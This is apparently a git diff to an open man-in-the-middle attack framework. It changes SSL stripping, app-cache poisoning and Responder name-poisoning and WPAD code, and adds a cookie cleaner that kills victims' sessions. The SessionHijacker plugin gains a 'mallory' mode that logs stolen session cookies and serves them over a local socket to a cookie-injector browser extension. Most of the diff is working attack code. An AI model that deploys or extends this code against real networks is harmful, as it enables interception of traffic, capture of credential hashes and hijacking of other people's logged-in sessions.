diff --git a/config/app_cache_poison.cfg b/config/app_cache_poison.cfg index 703c877..e30ee93 100644 --- a/config/app_cache_poison.cfg +++ b/config/app_cache_poison.cfg @@ -4,10 +4,10 @@ ; generic settings for tampering engine enabled=True -tamper_class=libs.AppCachePoisonClass +tamper_class=libs.sslstripkoto.AppCachePoisonClass ;all settings below are specific for AppCachePoison -templates_path=config_files/app_cache_poison_templates +templates_path=config/app_cache_poison_templates ;enable_only_in_useragents=Chrome|Firefox ; when visiting first url matching following expression we will embed iframes with all tamper URLs diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 6f617ef..19d00fd 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -61,9 +61,7 @@ if HTMLToServe == None: HTMLToServe = '' if len(NumChal) is not 16: - print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" - parser.print_help() - exit(-1) + sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") def IsOsX(): Os_version = sys.platform @@ -2504,7 +2502,7 @@ def start_responder(options, ip_address): if AnalyzeMode: print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n' - start_message = "Respoder will redirect requests to: %s\n" % ip_address + start_message = "Responder will redirect requests to: %s\n" % ip_address start_message += "Challenge set: %s\n" % NumChal start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off start_message += "WPAD script loaded: %s\n" % WPAD_Script diff --git a/libs/sslstripkoto/ResponseTampererFactory.py b/libs/sslstripkoto/ResponseTampererFactory.py index 16d271c..ef15559 100644 --- a/libs/sslstripkoto/ResponseTampererFactory.py +++ b/libs/sslstripkoto/ResponseTampererFactory.py @@ -26,13 +26,13 @@ class ResponseTampererFactory: _instance = None - _default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"} + _default_config = {"enabled": False, "tamper_class": "libs.sslstripkoto.DummyResponseTamperer"} def __init__(self): pass def createTamperer(configFile): - logging.debug(logging.DEBUG, "Reading tamper config file: %s" % (configFile)) + logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile)) config = ResponseTampererFactory._default_config.copy() if configFile: config.update(ResponseTampererFactory.parseConfig(configFile)) diff --git a/libs/sslstripplus/CookieCleaner.py b/libs/sslstripplus/CookieCleaner.py new file mode 100644 index 0000000..591584a --- /dev/null +++ b/libs/sslstripplus/CookieCleaner.py @@ -0,0 +1,106 @@ +# Copyright (c) 2004-2011 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + getInstance = staticmethod(getInstance) + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/libs/sslstripplus/DnsCache.py b/libs/sslstripplus/DnsCache.py new file mode 100644 index 0000000..91931a4 --- /dev/null +++ b/libs/sslstripplus/DnsCache.py @@ -0,0 +1,28 @@ + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.cache = {} + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None + + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + getInstance = staticmethod(getInstance) diff --git a/libs/sslstripplus/ServerConnectionFactory.py b/libs/sslstripplus/ServerConnectionFactory.py new file mode 100644 index 0000000..793bdc6 --- /dev/null +++ b/libs/sslstripplus/ServerConnectionFactory.py @@ -0,0 +1,44 @@ +# Copyright (c) 2004-2009 Moxie Marlinspike +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from twisted.internet.protocol import ClientFactory + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + logging.debug("Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + logging.debug("Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + self.client.finish() + diff --git a/libs/sslstripplus/URLMonitor.py b/libs/sslstripplus/URLMonitor.py index 956f3b9..1ebe36e 100644 --- a/libs/sslstripplus/URLMonitor.py +++ b/libs/sslstripplus/URLMonitor.py @@ -40,6 +40,25 @@ class URLMonitor: return (client,url) in self.strippedURLs + def writeClientLog(self, client, headers, message): + if not os.path.exists("./logs"): + os.makedirs("./logs") + + if (client.getClientIP() + '.log') not in os.listdir("./logs"): + + try: + log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent']) + except KeyError: + log_message = "#Log file for %s\n" % client.getClientIP() + + log_file = open("./logs/" + client.getClientIP() + ".log", 'a') + log_file.write(log_message + message + "\n") + log_file.close() + else: + log_file = open("./logs/" + client.getClientIP() + ".log", 'a') + log_file.write(message + "\n") + log_file.close() + def getSecurePort(self, client, url): if (client,url) in self.strippedURLs: return self.strippedURLPorts[(client,url)] diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index a81313d..f6474a5 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -2,7 +2,6 @@ from plugins.plugin import Plugin from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory #import threading - class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" @@ -13,6 +12,6 @@ class AppCachePlugin(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.config_file = "./config/app_cache_poison.cfg" - + print "[*] App Cache Poison plugin online" - ResponseTampererFactory.buildTamperer(self.config_file) + ResponseTampererFactory().buildTamperer(self.config_file) diff --git a/plugins/Responder.py b/plugins/Responder.py index be3cd09..03732c0 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -44,4 +44,4 @@ class Responder(Plugin): options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") - options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose") \ No newline at end of file + options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose") \ No newline at end of file diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index ea93ab4..7cf1b6f 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -3,11 +3,14 @@ from plugins.plugin import Plugin from libs.publicsuffix import PublicSuffixList from urlparse import urlparse +import threading import os import sys import time import logging import sqlite3 +import json +import socket class SessionHijacker(Plugin): name = "Session Hijacker" @@ -21,9 +24,11 @@ class SessionHijacker(Plugin): self.options = options self.psl = PublicSuffixList() self.firefox = options.firefox + self.mallory = options.mallory self.save_dir = "./logs" self.seen_hosts = {} self.sql_conns = {} + self.sessions = [] self.html_header="

Cookies sniffed for the following domains\n
\n
" #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires @@ -38,6 +43,11 @@ class SessionHijacker(Plugin): if not os.path.exists("./logs"): os.makedirs("./logs") + if self.mallory: + t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) + t.setDaemon(True) + t.start() + print "[*] Session Hijacker plugin online" def cleanHeaders(self, request): # Client => Server @@ -45,6 +55,9 @@ class SessionHijacker(Plugin): client_ip = request.getClientIP() if 'cookie' in headers: + + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + if self.firefox: url = "http://" + headers['host'] + request.getPathFromUri() for cookie in headers['cookie'].split(';'): @@ -52,9 +65,10 @@ class SessionHijacker(Plugin): cname = str(cookie)[0:eq].strip() cvalue = str(cookie)[eq+1:].strip() self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) - else: - logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + if self.mallory: + self.sessions.append((headers['host'], headers['cookie'])) + logging.info("%s Sent cookie to browser extension" % client_ip) #def handleHeader(self, request, key, value): # Server => Client # if 'set-cookie' in request.client.headers: @@ -66,6 +80,28 @@ class SessionHijacker(Plugin): # else: # logging.info(message) + def mallory_server(self): + host = '' + port = 20666 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((host,port)) + server.listen(1) + while True: + client, addr = server.accept() + if addr[0] != "127.0.0.1": + client.send("Hacked By China!") + client.close() + continue + request = client.recv(8192) + request = request.split('\n') + path = request[0].split()[1] + client.send("HTTP/1.0 200 OK\r\n") + client.send("Content-Type: text/html\r\n\r\n") + if path == "/": + client.send(json.dumps(self.sessions)) + client.close() + def firefoxdb(self, host, cookie_name, cookie_value, url, ip): session_dir=self.save_dir + "/" + ip @@ -76,7 +112,7 @@ class SessionHijacker(Plugin): try: if not os.path.exists(session_dir): - os.makedirs(session_dir) + os.makedirs(session_dir) db = sqlite3.connect(cookie_file, isolation_level=None) self.sql_conns[ip] = db.cursor() @@ -114,6 +150,7 @@ class SessionHijacker(Plugin): def add_options(self, options): options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') + options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') def finish(self): if self.firefox: